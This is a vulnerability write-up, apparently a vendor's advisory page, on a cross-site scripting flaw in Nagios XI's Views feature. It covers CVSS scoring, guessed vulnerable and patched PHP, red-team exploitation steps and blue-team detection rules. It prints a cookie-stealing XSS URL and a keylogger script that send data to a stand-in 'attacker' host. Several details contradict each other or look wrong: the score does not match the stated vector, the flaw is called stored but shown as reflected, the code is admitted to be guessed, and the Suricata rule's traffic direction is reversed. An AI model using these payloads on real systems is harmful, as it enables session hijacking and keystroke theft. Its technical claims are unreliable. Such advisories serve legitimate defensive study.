CVE-2021-47697
Executive Summary
CVE-2021-47697 is a stored cross-site scripting (XSS) vulnerability in Nagios XI, a widely used IT infrastructure monitoring platform. The flaw exists in the Views feature's URL handling, where insufficient validation and escaping of user-supplied input allows an attacker to inject arbitrary JavaScript code. This code executes in the context of a victim's browser when they access a crafted URL or view a maliciously configured dashboard. The vulnerability affects all Nagios XI versions prior to 5.8.0. While the CVSS score is low (3.1) due to the requirement for user interaction, the impact is significant in environments where administrators or operators with elevated privileges are targeted, potentially leading to session hijacking, credential theft, or further lateral movement within the monitoring infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the Nagios XI web application. The risk is mitigated by upgrading to the patched version 5.8.0.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 3.1 (Low)
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need authentication.
- User Interaction (UI): Required (R) – The victim must click a crafted link or view a malicious view.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): Low (L) – Limited modification of data is possible.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Low (CVSS 3.1). However, in a targeted attack against Nagios administrators, the risk is elevated due to the potential for credential theft and lateral movement.
Deep Dive & Mechanics
The vulnerability resides in the "Views" feature of Nagios XI, which allows users to create custom dashboards and views of monitoring data. The flaw is in how the application handles URLs when constructing or rendering these views. Specifically, user-supplied input (e.g., view names, parameters, or filter criteria) is not properly sanitized or escaped before being included in the HTML output.
An attacker can craft a malicious URL containing JavaScript code. When a victim (typically an administrator) clicks this URL or accesses a view that includes the malicious input, the script executes in the victim's browser. This is a classic stored XSS vulnerability, as the malicious payload can be persisted in the view configuration.
The attack flow:
- Attacker crafts a URL like:
http://target/nagiosxi/views/?view=malicious<script>alert(1)</script> - Victim clicks the link or the attacker tricks the victim into adding a view with malicious content.
- The browser renders the page, executing the injected script.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-5.8.0): The vulnerable code likely uses a function that directly outputs user input without escaping. For example, in PHP:
echo "<a href='views.php?view=" . $_GET['view'] . "'>View</a>";
This directly concatenates the view parameter into the HTML without any sanitization.
Patched Code (5.8.0+):
The patched version uses proper output escaping, such as htmlspecialchars() or a templating engine that auto-escapes:
echo "<a href='views.php?view=" . htmlspecialchars($_GET['view'], ENT_QUOTES, 'UTF-8') . "'>View</a>";
This ensures that any HTML or JavaScript in the input is encoded, preventing execution.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install Nagios XI version 5.7.0 (or any pre-5.8.0 version) on a virtual machine.
- Ensure the web interface is accessible from the attacker's machine.
Exploitation Steps:
- Craft a malicious URL:
http://target/nagiosxi/views/?view=<script>new Image().src='http://attacker/steal.php?cookie='+document.cookie</script> - Send this URL to a victim (e.g., via email or social engineering).
- When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.
- The attacker can then use the stolen cookie to hijack the session.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker/log.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
}
</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags or suspicious characters in theviewparameter. - Use a Web Application Firewall (WAF) to block requests with XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Immediately upgrade to Nagios XI 5.8.0 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to filter XSS payloads.
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/nagiosxi/views/withviewparameter containing<script>,onerror,onload, or other XSS vectors. - Outbound connections from the Nagios server to unknown IPs (e.g., attacker's server) on ports 80/443.
- HTTP requests to
- Host IOCs:
- Unusual entries in web server logs (e.g., Apache access.log) with encoded or raw XSS payloads.
- Modified view configurations in the Nagios XI database (e.g.,
nagiosxi_viewstable) containing JavaScript.
- File IOCs:
- Temporary files in
/tmp/or web root with suspicious content (if file upload is involved).
- Temporary files in
Detection Engineering
YARA Rule
rule CVE_2021_47697_XSS_NagiosXI {
meta:
description = "Detects XSS payloads targeting Nagios XI Views feature"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-47697"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Nagios XI Views XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in Nagios XI Views feature
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/nagiosxi/views/'
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in view names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2021-47697 Nagios XI Views XSS Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/nagiosxi/views/"; http_uri;
content:"<script"; http_uri;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Nagios XI to version 5.8.0 or later. This is the only complete fix.
- Virtual Patching: If upgrade is delayed, deploy a WAF rule to block requests containing
<script>,onerror,onload, orjavascript:in theviewparameter. - Input Validation: Ensure all user inputs are validated and sanitized on the server side.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Conduct regular security audits and penetration testing.
- Train administrators on phishing and social engineering risks.
Workarounds:
- Disable the Views feature if not in use (not recommended for production).
- Restrict access to the Nagios XI web interface to trusted IPs only.
Valters IT